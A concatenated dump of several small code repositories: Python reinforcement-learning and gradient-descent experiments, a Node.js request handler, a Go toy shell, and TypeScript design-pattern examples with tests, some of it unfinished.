currentWealth = state[0].wealth
previousWealth = state[1].wealth
reward = currentWealth - previousWealth
return (reward)
<file_sep>/OLD/econLearn/equilibrium.py
################
# Dependencies #
################
import math
#######
# Run #
#######
AD:
+ IS - LM:
IS: Y = C(Y-T(Y)) + I(r) + G + NX(Y)
LM: M/P = L(i,Y)
Y = C + I
I = I0+ ar
Y =
<file_sep>/OLD/econLearn/classes.py
################
# Dependencies #
################
import math
from learnFunctions import *
#########
# Agent #
#########
class agentClass:
"Agent"
# Initiation
#############
def __init__(self, goods, discount, assets, frames):
self.discount = discount
actionTemplate = getTemplate("action", goods)
stateTemplate = getTemplate("state", goods)
goodsTemplate = getTemplate("goods", goods)
self.assets = {}
for good in goods:
self.assets[good] = float(0)
print (assets)
for key, value in assets.items():
self.assets[key] = value
self.actions = actionTemplate
self.state = []
for i in range(frames):
self.state.append(stateTemplate)
# Policy
#########
def updateStateArray(self, stateTemplate, accept, prices):
self.state.pop(0)
newState = stateTemplate
newState.exists = 1
newState.assets = self.assets
newState.actions = self.actions
newState.prices = prices
newState.accept = accept
self.state.append(newState)
# External functions
#####################
def getActions(self):
# check actions are possible before returning!
return (self.actions)
def updateActions(self):
self.updateAssets()
self.updateState(accept)
# get state
# turn it into vector
# do forward pass of vector through neural network
# get output vector of raise, lower, same for price and quantity of each good
for good in goods:
priceOrder = getMaxIndex(priceMoves)
quantityOrder = getMaxIndex(quantityMoves)
# price
epsilon = Math.random()
if (epislon < x):
directionEpsilon = Math.random()
priceOrder = 2
if (directionEpsilon < (2/3)):
priceOrder = 1
if (directionEpsilon < (1/3)):
priceOrder = 0
# quantity
epsilon = Math.random()
if (epislon < x):
directionEpsilon = Math.random()
quantityOrder = 2
if (directionEpsilon < (2/3)):
quantityOrder = 1
if (directionEpsilon < (1/3)):
quantityOrder = 0
def learn(self, Qnow):
# Reward is discounted flow of reward
# Rt = r_t + d*r_t+1..
# We define a function as the discounted reward conditional on taking action a at state s, and optimal actions from then.
# Q(state, action) = max(Rt+1)
# Bellman equation: a' is the optimal decision at s'
# Q(s, a) = r + discount*Q(s',a')
# How do we train?
# Neural network predicts Q(s, a). It can also provide Q(s', a'), that is the Q at the next action taken.
# Loss is how far away left is from right
Qnow = Qnow # We already have this
maxQnext = 0
reward = self.getReward(state)
loss = self.getLoss(reward, maxQnext, Qnow)
# Now that we have the loss we can update the neural network using back propagation.
# Train
#########
def getLoss(self, reward, maxQnext, Qnow):
loss = (1/2) * [reward + maxQnext - Qnow]^2
return (loss)
<file_sep>/OLD/machineLearning/test.py
#!/usr/bin/env python3
#############
# Libraries #
#############
import numpy as np
from numpy import inf
import pandas as pd
import matplotlib.pyplot as plt
import math
import sys
import json
#######################
# Model specification #
#######################
#dataSource = "data.json"
dataSource = sys.argv[1]
yCutoff = [0]
feat = 6
runClass = 1
hiddenLayers = 0
hiddenLayerLength = 0
#######################
# Algorithm constants #
#######################
costDiffCutoff = 1000000
costDiffCount = 100
trainProp = 0.6
cvProp = 0.2
alpha = 1
thetaRange = 1
alphaReduce = 0.1
thetaRangeReduce = 0.1
gradEps = 0.0001
#############
# Functions #
#############
def sigmoid(z):
return 1 / (1 + np.exp(-z))
def poly_size_f(feat, d):
return int(math.factorial((feat - 1) + d) / (math.factorial(feat - 1) * math.factorial(d)))
def polynomial(X, d):
feat = X.shape[1]
m = X.shape[0]
poly_size = poly_size_f(feat, d)
X_prime = np.zeros((m, poly_size))
poly_array_temp = np.int8(np.array(np.zeros((feat, 1), dtype = np.int)))
poly_array_temp[feat - 1] = d
for i in range(0, poly_size):
new_poly_array = np.ones((m, 1))
for j in range(0, poly_array_temp.shape[0]):
for k in range(0, poly_array_temp[j]):
new_poly_array = new_poly_array * X[:, j: j + 1]
X_prime[:, i: i + 1] = new_poly_array
poly_array_index = 0
for j in range(1, feat):
if (int(poly_array_temp[j]) > 0):
if (poly_array_index == 0):
poly_array_index = j
poly_array_fall = np.zeros((feat, 1))
poly_array_fall[0: poly_array_index - 1] = 1
poly_array_fall_v = - poly_array_fall * poly_array_temp
poly_array_suck_v = np.zeros((feat, 1))
poly_array_suck_v[poly_array_index - 1] = np.sum(poly_array_fall * poly_array_temp) + 1
poly_array_push_v = np.zeros((feat, 1))
poly_array_push_v[poly_array_index] = - 1
poly_array_temp = poly_array_temp + poly_array_suck_v + poly_array_push_v + poly_array_fall_v
poly_array_temp = np.int8(poly_array_temp)
return (X_prime)
def minMax(X):
x_min = np.amin(X, axis = 0)
x_max = np.amax(X, axis = 0)
return (x_min, x_max)
def normalise(X, x_max, x_min):
feat = X.shape[1]
mul = np.ones((1, feat))
add = np.zeros((1, feat))
diff = x_max - x_min
for i in range(0, feat):
if (diff[i] > 0):
mul[0: 1, i: i + 1] = 1 / diff[i]
add[0: 1, i: i + 1] = - x_min[0: 1, i: i + 1] / diff[i]
X_prime = X * mul + add
return (X_prime)
def thetaInit(feat, outcomes, thetaRange, hiddenLayers, hiddenLayerLength):
layers = hiddenLayers + 1
nextLength = hiddenLayerLength
thisLenth = feat
theta = []
thetaCandidate = []
for layer in range(0, layers):
if (layer == hiddenLayers):
nextLength = outcomes
thetaCandidate.append(np.random.rand(feat, nextLength) * 2 * thetaRange - thetaRange)
theta.append(np.zeros((feat, nextLength)) * 2 * thetaRange - thetaRange)
thisLength = nextLength
return theta, thetaCandidate
def getHypothesis(X, theta, runClass):
if (runClass == 1):
hypothesis = X
for i in range(0, len(theta)):
if (i > 0):
oneCol = np.ones((m, 1))
hypothesis = np.append(oneCol, hypothesis, axis = 1)
hypothesis = sigmoid(np.dot(hypothesis, theta[i]))
else:
hypothesis = np.dot(X, theta[0])
return (hypothesis)
def getLoss(y, hypothesis, m, runClass, theta, thetaLossWeight):
regLoss = (1 / (2 * m)) * (np.sum((theta[0] ** 2) * thetaLossWeight))
if (runClass == 1):
hypo_temp_flip = hypo_temp = np.zeros_like(hypothesis)
hypo_temp[:] = hypothesis
hypo_temp[y == 0] = 1
hypo_temp = np.log(hypo_temp)
hypo_temp_flip[:] = 1 - hypothesis
hypo_temp_flip[y == 1] = 1
hypo_temp_flip = np.log(hypo_temp_flip)
hypo_temp_combined = hypo_temp + hypo_temp_flip
loss = (-1 / m) * (hypo_temp_combined) + regLoss
else:
loss = (1 / (2 * m)) * ((hypothesis - y) ** 2) + regLoss
return loss
def getGradient(X, y, hypothesis, runClass, theta, thetaLossWeight):
# works for both classification and regression, because maths
m = X.shape[0]
updateVector = hypothesis - y
transX = X.transpose()
gradient = (1 / m) * np.dot(transX, updateVector) + theta[0] * thetaLossWeight
return (gradient)
def gradDescent(X, y, outcomes, runClass, lam, alpha, thetaRange, alphaReduce, thetaRangeReduce, costDiffCutoff, costDiffCount, gradEps, hiddenLayers, hiddenLayerLength):
y = np.int8(y)
m = X.shape[0]
feat = X.shape[1]
theta, thetaCandidate = thetaInit(feat, outcomes, thetaRange, hiddenLayers, hiddenLayerLength)
thetaLossWeight = np.ones((feat, outcomes)) * lam
thetaLossWeight[0: 1, :] = 0
thetaInitAccepted = 0
gradChecked = 0
cost = math.inf
stopCount = 0
i = 0
while (costDiffCount > stopCount):
hypothesis = getHypothesis(X, thetaCandidate, runClass)
loss = getLoss(y, hypothesis, m, runClass, thetaCandidate, thetaLossWeight)
costCandidate = np.sum(loss)
rejectCandidate = 0
costDiff = 0
if (math.isnan(costCandidate) or math.isinf(costCandidate or costCandidate > cost)):
if (thetaInitAccepted == 0):
thetaRange = thetaRange * thetaRangeReduce
theta, thetaCandidate = thetaInit(feat, outcomes, thetaRange, hiddenLayers, hiddenLayerLength)
else:
alpha = alpha * alphaReduce
gradient = getGradient(X, y, hypothesis, runClass, theta, thetaLossWeight)
thetaCandidate[0] = theta[0] - alpha * gradient
else:
thetaInitAccepted = 1
costDiff = cost / (cost - costCandidate)
if (costDiff >= costDiffCutoff):
stopCount = stopCount + 1
else:
stopCount = 0
theta[0] = thetaCandidate[0]
gradient = getGradient(X, y, hypothesis, runClass, theta, thetaLossWeight)
thetaCandidate[0] = theta[0] - alpha * gradient
cost = costCandidate
if (gradChecked == 0):
gradChecked = 1
theta_grad_plus = []
theta_grad_less = []
theta_grad_plus.append(np.zeros_like(theta[0]))
theta_grad_less.append(np.zeros_like(theta[0]))
theta_grad_plus[0][:] = theta[0]
theta_grad_less[0][:] = theta[0]
theta_grad_plus[0][0, 0] = theta[0][0, 0] * (1 + gradEps)
theta_grad_less[0][0, 0] = theta[0][0, 0] * (1 - gradEps)
hypothesis_grad_plus = getHypothesis(X, theta_grad_plus, runClass)
hypothesis_grad_less = getHypothesis(X, theta_grad_less, runClass)
gradient_plus = getGradient(X, y, hypothesis_grad_plus, runClass, theta_grad_plus, thetaLossWeight)
gradient_less = getGradient(X, y, hypothesis_grad_less, runClass, theta_grad_less, thetaLossWeight)
loss_grad_plus = getLoss(y, hypothesis_grad_plus, m, runClass, theta_grad_plus, thetaLossWeight)
loss_grad_less = getLoss(y, hypothesis_grad_less, m, runClass, theta_grad_less, thetaLossWeight)
cost_plus = np.sum(loss_grad_plus)
cost_less = np.sum(loss_grad_less)
cost_plus_0 = np.sum(loss_grad_plus[:, 0: 1])
cost_less_0 = np.sum(loss_grad_less[:, 0: 1])
cost_plus_1 = np.sum(loss_grad_plus[:, 1: 2])
cost_less_1 = np.sum(loss_grad_less[:, 1: 2])
gradientTest = (cost_plus - cost_less) / (2 * theta[0][0, 0] * gradEps)
gradientTest_0 = (cost_plus_0 - cost_less_0) / (2 * theta[0][0, 0] * gradEps)
gradientTest_1 = (cost_plus_1 - cost_less_1) / (2 * theta[0][0, 0] * gradEps)
print("Gradient| Manual: %f | Standard: %f" % (gradientTest, gradient[0, 0]))
print (gradient[0, 0] / gradientTest)
print (gradientTest_0)
input("Press Enter to continue...")
i = i + 1
print ("Iteration: %d | Cost: %f| Progress: %f" % (i, costCandidate, costDiff / costDiffCutoff))
return (theta, cost)
###########
# Extract #
###########
with open(dataSource, encoding='utf-8') as data_file:
jsonModel = json.loads(data_file.read())
if (jsonModel["type"] == "excel"):
csv = pd.read_excel(jsonModel["fileName"], jsonModel["importSheet"], index_col = None, na_values = jsonModel["naArray"])
if ("rowKeep" in jsonModel):
keepLength = len(jsonModel["rowKeep"])
for i in range(0, keepLength):
csv = csv.drop(csv[csv[jsonModel["rowKeep"][i][0]] != jsonModel["rowKeep"][i][1]].index)
if ("rowDrop" in jsonModel):
dropLength = len(jsonModel["rowDrop"])
for i in range(0, dropLength):
csv = csv.drop(csv[csv[jsonModel["rowDrop"][i][0]] == jsonModel["rowDrop"][i][1]].index)
if ("i_range" in jsonModel):
if (jsonModel["i_range"] == 0):
jsonModel["i_range"] = csv.shape[0]
else:
jsonModel["i_range"] = csv.shape[0]
if ("j_range" in jsonModel):
if (jsonModel["j_range"] == 0):
jsonModel["j_range"] = csv.shape[1]
else:
jsonModel["j_range"] = csv.shape[1]
if (feat == 0):
feat = jsonModel["j_range"]
for i in range(0, jsonModel["i_range"]):
for j in range(0, 1 + jsonModel["j_range"] - feat):
row = i * jsonModel["j_range"] + j
dfTemp = np.array(csv.iloc[jsonModel["yOffset"] + i: jsonModel["yOffset"] + i + 1, jsonModel["xOffset"] + j - feat: jsonModel["xOffset"] + j])
if ((i + j) == 0):
newArray = np.array(dfTemp)
else:
newArray = np.insert(newArray, [1], dfTemp, axis = 0)
df = pd.DataFrame(data = newArray)
df = df.dropna()
m = df.shape[0]
X = np.array(df.iloc[:, 0: feat - 1], dtype = float)
y = np.array(df.iloc[:, feat - 1: feat], dtype = float)
oneCol = np.ones((m, 1))
X = np.append(oneCol, X, axis = 1)
if (runClass == 1):
y_temp = np.zeros_like (y)
y_temp[:] = y
y_temp[y < yCutoff] = 1
y_temp[y >= yCutoff] = 0
y[:] = y_temp
outcomes = int(np.amax(y, axis = 0) + 1)
yArray = np.zeros((m, outcomes))
for i in range(0, outcomes):
yArray[:, i: i + 1][y == i] = 1
y = np.zeros_like (yArray)
y[:] = yArray
####################
# Training/CV/Test #
####################
np.random.shuffle(X)
trainCutoff = int(trainProp * m)
cvCutoff = int((cvProp + trainProp) * m)
X_train = X[0: trainCutoff, :]
X_cv = X[trainCutoff: cvCutoff, :]
X_test = X[cvCutoff: m, :]
y_train = y[0:trainCutoff, :]
y_cv = y[trainCutoff:cvCutoff, :]
y_test = y[cvCutoff: m, :]
##########################
# Polynomial calibration #
##########################
polynomial_d = 3
#poly_size = poly_size_f(feat, polynomial_d)
######################
# Lambda calibration #
######################
lam = 1
####################
# Theta estimation #
####################
X_prime = polynomial(X_train, polynomial_d)
x_max, x_min = minMax(X_prime)
X_prime = normalise(X_prime, x_max, x_min)
theta, cost = gradDescent(X_prime, y_train, outcomes, runClass, lam, alpha, thetaRange, alphaReduce, thetaRangeReduce, costDiffCutoff, costDiffCount, gradEps, hiddenLayers, hiddenLayerLength)
###########
# Predict #
###########
X_test = polynomial(X_test, polynomial_d)
X_test = normalise(X_test, x_max, x_min)
m_test = X_test.shape[0]
predict = getHypothesis(X_test, theta, runClass)
if (runClass == 1):
predict = np.int8(predict)
y_test = np.int8(y_test)
maxProb = np.argmax(predict, axis = 1)
predict_temp = np.zeros_like (predict)
for i in range(0, m_test):
predict_temp[i: i + 1, maxProb[i]: maxProb[i] + 1] = 1
predict[:] = predict_temp
for i in range(0, outcomes):
truePositive = np.sum(y_test[:, i: i + 1] * predict[:, i: i + 1])
trueNegative = np.sum((1 - y_test[:, i: i + 1]) * (1 - predict[:, i: i + 1]))
falsePositive = np.sum((1- y_test[:, i: i + 1]) * predict[:, i: i + 1])
falseNegative = np.sum(y_test[:, i: i + 1] * (1 - predict[:, i: i + 1]))
defaultPositive = np.sum(y_test[:, i: i + 1]) / m_test
if (defaultPositive < 0.5):
defaultPositive = 1 - defaultPositive
accuracy = (truePositive + trueNegative) / m_test
precision = truePositive / (truePositive + falsePositive)
recall = truePositive / (truePositive + falseNegative)
F1_score = 2 * precision * recall / (precision + recall)
print ()
print ("For answer: %d" % (i))
print ("True positive: %d" % (truePositive))
print ("True negative: %d" % (trueNegative))
print ("False positive: %d" % (falsePositive))
print ("False negative: %d" % (falseNegative))
print ("Accuracy: %f%%" % (accuracy * 100))
print ("Default accuracy: %f%%" % (defaultPositive * 100))
print ("Sample size: %d" % (m_test))
print ("Precision: %f%%" % (precision * 100))
print ("Recall: %f%%" % (recall * 100))
print ("F1 score: %f" % (F1_score))
else:
resids = y_test - predict
RSS = np.sum(resids ** 2)
TSS = np.sum((y_test - np.mean(y_test)) ** 2)
R2 = 1 - RSS / TSS
print (R2)
plt.plot(y_test, predict, 'o', label='Original data', markersize=10)
#plt.plot(x, m*x + c, 'r', label='Fitted line')
plt.legend()
plt.show()
print ("theta")
print (theta[0])
| 8226e4062f0c0c5fd0058e143fce09b18dd3e299 | [
"Python"
] | 13 | Python | adamdboult/predictions | 587d24d9d5984829839d67b8ad41820198170928 | ca57b638d349129aa59a3bd89b499fad1df62ba1 |
refs/heads/master | <file_sep>const headers = require('./cors');
const dequeue = require('./messageQueue').dequeue;
var directions = ['right', 'left', 'up', 'down'];
module.exports = (req, res) => {
if (req.method === 'GET') {
var direction = directions[Math.floor(Math.random() * 4)];
res.writeHead(200, headers);
// res.end(JSON.stringify(direction));
res.end(JSON.stringify(dequeue()));
}else if (req.method === 'OPTIONS') {
res.writeHead(200, headers);
res.end();
} else {
res.writeHead(404, headers);
res.end();
}
};
| 72e6ff63623ddefc102c7753dfd53388d74379c9 | [
"JavaScript"
] | 1 | JavaScript | khudiono/a-synchronous-swim | 45b6bba3e805061ec5b15f911d7126ce2b58d46b | caa459b005f5ef15bc93d5418eb0739f1e377695 |
refs/heads/master | <file_sep>//this will be a linux-like shell
package main
import ("fmt"; "strings"; "io/ioutil"; "bufio"; "os"; "strconv"; m "LinuxShell/errHandle")
//setting up global variables
var (
User Usr
)
func main(){
fmt.Println("Welcome, this is a linux-like shell made in go")
fmt.Println("----------------------------------------------")
for (1==1){
fmt.Printf(">>>")
input := bufio.NewReader(os.Stdin)
line, err := input.ReadString('\n')
if err != nil {
fmt.Println(err)
}
_, error := handle_input(line)
if error != nil{
switch error.(type){
case *m.ErrCommandNotFound: fmt.Println(error.Error())
default : panic(error)
}
}
}
}
type Usr struct{
pathadd string
}
func handle_input(command string) (int, error) {
switch {
case strings.HasPrefix(command, "ls") == true: ListFiles()
case strings.HasPrefix(command, "cd") == true: changeDir(command)
case strings.HasPrefix(command, "pwd") == true: showpath()
case strings.HasPrefix(command, "cat") == true: cat(command)
case strings.HasPrefix(command, "mkdir") == true: fmt.Println("I will add this later")
case strings.HasPrefix(command, "size") == true: Size(command)
default : return 1, m.NewErrCommandNotFound("Could not find the command, please check any spelling errors")
}
return 1, nil
}
func makeDir(command string) bool {
return false
}
func Size(command string) (bool, error) {
y := strings.Fields(command)
file := y[1]
m, err := os.Stat("C://"+User.pathadd+file)
fmt.Println(FormatFile(m.Size()))
return true, err
}
func ListFiles() int {
files, err := ioutil.ReadDir("C://" + User.pathadd)
if err != nil {
fmt.Println(err)
}
for _, v := range files {
fmt.Println(v.Name())
}
return 1
}
func FormatFile(size int64) string {
filesizes := [5]string{"kb", "mb", "gb", "tb"}
useval := "b"
for _, v := range filesizes {
if size/1000>=1{
size/=1000
useval = v
} else {
return strconv.FormatInt(size, 10)+useval
}
}
return ""
}
func showpath() string {
if User.pathadd==""{
fmt.Println("C://")
return ""
}
fmt.Println("C://"+User.pathadd[0:len(User.pathadd)-1])
return ""
}
func checkDirectory(dir string) error {
//just to check if there is an error going into the directory
_, err := ioutil.ReadDir("C://"+User.pathadd+dir)
return err
}
func cat(command string) bool {
//meow
y := strings.Fields(command)
if len(y)==1{
fmt.Println("You must enter a file to read")
return false
}
thefile := y[1]
readfile, err := ioutil.ReadFile("C://"+User.pathadd+thefile)
if err!=nil{
fmt.Println(err)
return false
}
fmt.Println(string(readfile))
return true
}
func changeDir(directory string) bool {
//directory should be the full command
y := strings.Fields(directory)
thedir := y[1]
//check that the directory exists
err := checkDirectory(thedir)
if err!=nil{
fmt.Println("Fatal Error:")
fmt.Println(err)
return false
}
if thedir==".."{
User.pathadd = User.pathadd[0:(len(User.pathadd)-len((strings.Split(User.pathadd, "/"))[(len(strings.Split(User.pathadd, "/")))-2]))-1] // some say that if you look at this for more than 5 minutes you get cancer
return true
} else if thedir=="."{
return true
}
User.pathadd+=(thedir+"/")
return true
}
<file_sep>package errHandle
type error interface{
Error() string
}
type ErrCommandNotFound struct {
Message string
}
type ErrDirectoryNotFound struct {
Message string
}
type InputError struct {
Message string
}
func NewErrCommandNotFound(message string) *ErrCommandNotFound {
return &ErrCommandNotFound{
Message : message,
}
}
func (e *ErrCommandNotFound) Error() string {
return e.Message
}
| 6f390f7b8f0307aacc5fd2446a1e7da944bfd8f1 | [
"Go"
] | 2 | Go | min0r2468/LinuxShell | d5923f1b7e261cb3b717e382aafddd0b8bf6ad56 | 2e341c81e34a4839fbd60c5eb725ac273a55fb7c |
refs/heads/master | <repo_name>gaof5/MvpDemo<file_sep>/app/src/main/java/com/gaof/mvpdemo/model/GirlModelImpl.java
package com.gaof.mvpdemo.model;
import com.gaof.mvpdemo.R;
import com.gaof.mvpdemo.bean.Girl;
import java.util.ArrayList;
import java.util.List;
public class GirlModelImpl implements IGirlModel{
@Override
public void loadGirl(GirlOnLoadListener girlOnLoadListener) {
List<Girl> data=new ArrayList<>();
data.add(new Girl(R.mipmap.girl1,"美女1"));
data.add(new Girl(R.mipmap.girl2,"美女2"));
data.add(new Girl(R.mipmap.girl3,"美女3"));
data.add(new Girl(R.mipmap.girl4,"美女4"));
girlOnLoadListener.onComplete(data);
}
}
<file_sep>/app/src/main/java/com/gaof/mvpdemo/contact/GirlContact.java
package com.gaof.mvpdemo.contact;
import com.gaof.mvpdemo.base.IBaseView;
import com.gaof.mvpdemo.base.IPresenter;
import com.gaof.mvpdemo.bean.Girl;
import java.util.List;
public class GirlContact {
public interface View extends IBaseView{
//显示数据
void showGirl(List<Girl> girls);
}
public interface Presenter extends IPresenter<View>{
//执行UI逻辑
void fetch();
}
}
<file_sep>/app/src/main/java/com/gaof/mvpdemo/model/IGirlModel.java
package com.gaof.mvpdemo.model;
import com.gaof.mvpdemo.bean.Girl;
import java.util.List;
/**
* 用来加载数据
*/
public interface IGirlModel {
void loadGirl(GirlOnLoadListener girlOnLoadListener);
//回调接口方式返回数据
interface GirlOnLoadListener{
void onComplete(List<Girl> girls);
}
}
<file_sep>/app/src/main/java/com/gaof/mvpdemo/presenter/GirlPresenter.java
package com.gaof.mvpdemo.presenter;
import com.gaof.mvpdemo.bean.Girl;
import com.gaof.mvpdemo.contact.GirlContact;
import com.gaof.mvpdemo.model.GirlModelImpl;
import com.gaof.mvpdemo.model.IGirlModel;
import com.gaof.mvpdemo.view.IGirlView;
import java.lang.ref.WeakReference;
import java.util.List;
/**
* 表示层
*/
public class GirlPresenter extends BasePresenter<GirlContact.View> implements GirlContact.Presenter{
//1.View层调用
// IGirlView girlView;
// private WeakReference<T> mViewRef;
//2.model层的引用
private IGirlModel girlModel=new GirlModelImpl();
//3.构造方法
// public GirlPresenter(T girlView){
//
// }
//绑定activity
// public void attachView(T view){
// this.mViewRef=new WeakReference<>(view);
// }
// //解绑activity
// public void detachView(){
// mViewRef.clear();
// }
//4.执行UI逻辑
public void fetch(){
if(mViewRef.get()!=null){
mViewRef.get().showLoading();
if(girlModel!=null){
girlModel.loadGirl(new IGirlModel.GirlOnLoadListener() {
@Override
public void onComplete(List<Girl> girls) {
mViewRef.get().showGirl(girls);
}
});
}
}
}
}
<file_sep>/app/src/main/java/com/gaof/mvpdemo/base/IBaseView.java
package com.gaof.mvpdemo.base;
public interface IBaseView {
void showLoading();
void dismissLoading();
}
| 99b2c432c7807ff7cd3c3d462029d577318c1481 | [
"Java"
] | 5 | Java | gaof5/MvpDemo | e412412e47de9abf75d6fc1c3b361688a4d9c5ea | 303bd5dfd990448fd86cffc44288a7d2a5f435f5 |
refs/heads/master | <repo_name>Gideon-Muriithi/akan-name<file_sep>/README.md
# akan-name
This is the application name. The application was authored by <NAME>.
##Description
This application computes the day of the week from user birthday and bases on the gender of the user it
return to the user their Akan Name which is found in Ghananian culture.
## Installation
No installation needed since this is a web-based application. You can access the application by click
this live link; https://gideon-muriithi.github.io/akan-name/.
## Usage
The application is basically used to determine nicknames of users.
## Contributing
Clone requests permitted. In case of major changes to the application, please let me know before you do that.
Please make sure to update tests as appropriate.
## License
MIT License
Copyright (c) [2019] [<NAME>]
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
<file_sep>/js/scripts.js
function theInput(){
var MM = parseInt(document.getElementById("mth").value);
var DD = parseInt(document.getElementById("dt").value);
var yy = document.getElementById("yr").value;
for (var i=0; i<document.userInput.gender.length; i++) {
if (document.userInput.gender[i].checked) {
checkedValue = document.userInput.gender[i].value;
}
}
if ((MM <= 0) || (MM > 12)){
alert("Ivalid value!");
}
if ((DD <= 0)|| (DD > 31)){
alert("Ivalid value!");
}
var sliceyy = yy.slice(0,2);
YY = parseInt(sliceyy);
var forcc = parseInt(yy); //Change year from a string type to an interger.
var cc =forcc/100; //Create a variable for easy truncation for in a century.
CC = Math.trunc(cc);
var dayoftheweek = Math.trunc((((CC/4) -2*CC-1) + ((5*YY/4) ) + ((26*(MM+1)/10)) + DD ) % 7);
var maleNames = ["Kwasi", "Kwadwo", "Kwabena", "Kwaku", "Yaw", "Kofi", "Kwame"];
var femaleNames = ["Akosua", "Adwoa", "Abenaa", "Akua", "Yaa", "Afua", "Ama"];
var weekDays = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"];
//var yy = weekDays[dayoftheweek];
//alert(yy);
if(dayoftheweek == 0){
alert("You were born on " + weekDays[0] + ". Click OK to see your name.");
}
if(dayoftheweek == 1){
alert("You were born on " + weekDays[1] + ". Click OK to see your name.");
}
if(dayoftheweek == 2){
alert("You were born on " + weekDays[2] + ". Click OK to see your name.");
}
if(dayoftheweek == 3){
alert("You were born on " + weekDays[3] + ". Click OK to see your name.");
}
if(dayoftheweek == 4){
alert("You were born on " + weekDays[4] + ". Click OK to see your name.");
}
if(dayoftheweek == 5){
alert("You were born on " + weekDays[5] + ". Click OK to see your name.");
}
if(dayoftheweek == 6){
alert("You were born on " + weekDays[] + ". Click OK to see your name.");
}
if(dayoftheweek == 0 && checkedValue == "Male"){
alert("Your Akan Name is " + maleNames[0]);
}
else if (dayoftheweek == 0 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[0]);
}
else if (dayoftheweek == 1 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[1]);
}
else if (dayoftheweek == 1 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[1]);
}
else if (dayoftheweek == 2 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[2]);
}
else if (dayoftheweek == 2 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[2]);
}
else if (dayoftheweek == 3 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[3]);
}
else if (dayoftheweek == 3 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[3]);
}
else if (dayoftheweek == 4 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[4]);
}
else if (dayoftheweek == 4 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[4]);
}
else if (dayoftheweek == 5 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[5]);
}
else if (dayoftheweek == 5 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[5]);
}
else if (dayoftheweek == 6 && checkedValue == "Male") {
alert("Your Akan Name is " + maleNames[6]);
}
else if (dayoftheweek == 6 && checkedValue == "Female") {
alert("Your Akan Name is " + femaleNames[6]);
}
}
theInput();
| b97ecb7b6f82b54a09b97871da968c51384cec6f | [
"Markdown",
"JavaScript"
] | 2 | Markdown | Gideon-Muriithi/akan-name | 549f1aab13595e10b760a08d1fb3822142343e0e | 8e3678a36b7ca4045e86279a37be7ce1782c1579 |
refs/heads/master | <file_sep>/* eslint-disable @typescript-eslint/ban-ts-comment */
import {Car, Bike} from './index';
test('prototype pattern', () => {
const car1 = Car;
// @ts-ignore
const bike1 = new Bike('bar');
// @ts-ignore
const bike2 = new Bike('foo');
car1.getModel();
car1.getType();
bike1.getModel();
bike2.getModel();
})
<file_sep>import {IUserController, IUserService, UserControllerImpl, UserServiceImpl} from './index';
test('BridgePattern', () => {
const userServiceImpl: IUserService = new UserServiceImpl();
const userController: IUserController = new UserControllerImpl(userServiceImpl);
userController.requestLogin();
userController.requestLogin(); // 로그인은 추상부인 컨트롤러에서 먼저 로직이 가해진다
userController.requestLogout(); // 로그아웃은 구현부의 로직을 그대로 따른다
});
<file_sep>import getComposite from './index';
test('CompositePattern', function () {
// 각 HTML 컴포넌트가 모여있는 루트컴포넌트라고 생각해보자.
const htmlComposite = getComposite();
const consoleSpy = spyOn(console, 'log');
let callTimes = 0;
// 각 값들과 동일한 키를 사용하는 컴포넌트만 render 를 다시 일으킨다고 생각해보자.
htmlComposite.render(['spanContent']);
expect(consoleSpy).toHaveBeenCalledTimes(callTimes += 2); // span, checkbox
htmlComposite.render(['headerTitle', 'noticeText', 'checked']);
expect(consoleSpy).toHaveBeenCalledTimes(callTimes += 3); // header, textbox, checkbox
htmlComposite.render(['headerTitle', 'headerTitle', 'headerTitle']);
expect(consoleSpy).toHaveBeenCalledTimes(callTimes += 1); // header only
});
<file_sep>export default class Singleton {
private static instance: Singleton;
public createdAt = Math.random();
constructor() {
if (!Singleton.instance) {
Singleton.instance = this;
return this;
} else {
return Singleton.instance;
}
}
public static getInstance(): Singleton {
if (!Singleton.instance) {
Singleton.instance = new Singleton();
}
return Singleton.instance;
}
public print(): void {
console.log('singleton ', this.createdAt);
}
}
<file_sep>class CPU {
freeze() {
console.log('cpu freeze');
}
jump(position: number) {
console.log('cpu jumped at ', position);
}
execute() {
console.log('cpu command executed');
}
}
class HardDrive {
read(lba: number, size: number) {
console.log('hdd read ', lba, ', size is ', size);
}
}
class Memory {
load(position: number, data: number[]) {
console.log('memory load at ', position, ', data is ', data.join(' '));
}
}
/**
* Facade Component
*/
export default class Computer {
private cpu: CPU = new CPU();
private memory: Memory = new Memory();
private hdd: HardDrive = new HardDrive();
public start() {
this.cpu.freeze();
this.memory.load(0, [102, 104, 333]);
this.cpu.jump(0);
this.cpu.execute();
}
}
<file_sep>import Computer from './index';
test('FacadePattern', () => {
const computer = new Computer();
computer.start();
});
<file_sep>/*
* implementation, 구현부
*/
export interface IUserService {
login(): void;
logout(): void;
}
/*
* abstraction, 추상층
*/
export interface IUserController {
requestLogin(): void;
requestLogout(): void;
}
export class UserServiceImpl implements IUserService {
login(): void {
console.log('로그인 되었습니다');
}
logout(): void {
console.log('로그아웃 되었습니다');
}
}
